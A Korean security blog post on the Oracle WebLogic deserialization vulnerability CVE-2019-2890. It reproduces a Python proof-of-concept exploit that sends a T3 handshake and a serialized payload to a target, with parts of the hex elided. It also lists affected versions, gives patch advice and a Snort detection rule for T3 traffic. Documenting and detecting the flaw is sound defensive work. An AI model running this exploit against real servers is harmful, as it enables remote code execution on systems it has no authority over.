티스토리 뷰

728x90
반응형

[CVE 취약점] Oracle Weblogic 원격코드 실행 취약점(CVE-2019-2890)


참조

https://github.com/SukaraLin/CVE-2019-2890

https://www.youtube.com/watch?v=qml-UJzNn6k

https://github.com/ZO1RO/CVE-2019-2890/blob/master/CVE-2019-2890.py


Poc 

#!/usr/bin/python

 import socket

 import os

 import sys

 import struct


 if len(sys.argv) < 3:

     print 'Usage: python %s  ' % os.path.basename(sys.argv[0])

     sys.exit()


 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

 sock.settimeout(5)


 server_address = (sys.argv[1], int(sys.argv[2]))

 print '[+] Connecting to %s port %s' % server_address

 sock.connect(server_address)


 # Send headers

headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'

 print 'sending "%s"' % headers

 sock.sendall(headers)


 data = sock.recv(1024)

 print >>sys.stderr, 'received "%s"' % data


 payloadObj = open(sys.argv[3],'rb').read()


 payload='\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43

중간생략\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78

 payload=payload+payloadObj

 payload=payload+'\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d

중간생략

x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63


 # adjust header for appropriate message length

 payload=struct.pack('>I',len(payload)) + payload[4:]


 print '[+] Sending payload...'

 sock.send(payload)

 data = sock.recv(1024)

 print >>sys.stderr, 'received "%s"' % data 

 


개요

Oracle社 WebLogic Server의 취약점을 해결한 보안 업데이트 발표

취약점을 악용하는 공격코드가 인터넷에 공개되어 있어 적극적인 보안 업데이트 필요

 

WebLogic Server에서 안전하지 않은 역직렬화로 인해 발생하는 인증 우회 및 원격코드 실행 취약점(CVE-2019-2890)


영향 받는 제품 버전

WebLogic Server

- 10.3.6.0.0

- 12.1.3.0.0

- 12.2.1.3.0


방안

오라클 사 홈페이지(https://support.oracle.com/rs?type=doc&id=2568292.1)를 참고하여 최신 버전으로 업데이트 적용


PoC 실행 결과 취약점을 이용하기 위해서는 t3handshake Packet이 먼저 발생

- T3는 WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜

- 관련 취약점(CVE-2018-2893) 과 영향받는 버전이 동일함(WebLogic Server(10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3)


Snort  

alert tcp any any -> any any (sid:1; gid:1; content:"t3"; nocase; depth:2; content:"AS"; nocase; distance:7; within:5; content:"HL"; nocase; distance:4; within:5; content:"MS"; nocase; distance:3; within:5; msg:"Oracle Weblogic T3 Protocol(CVE-2018-2893)";)




728x90
반응형
댓글
250x250
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today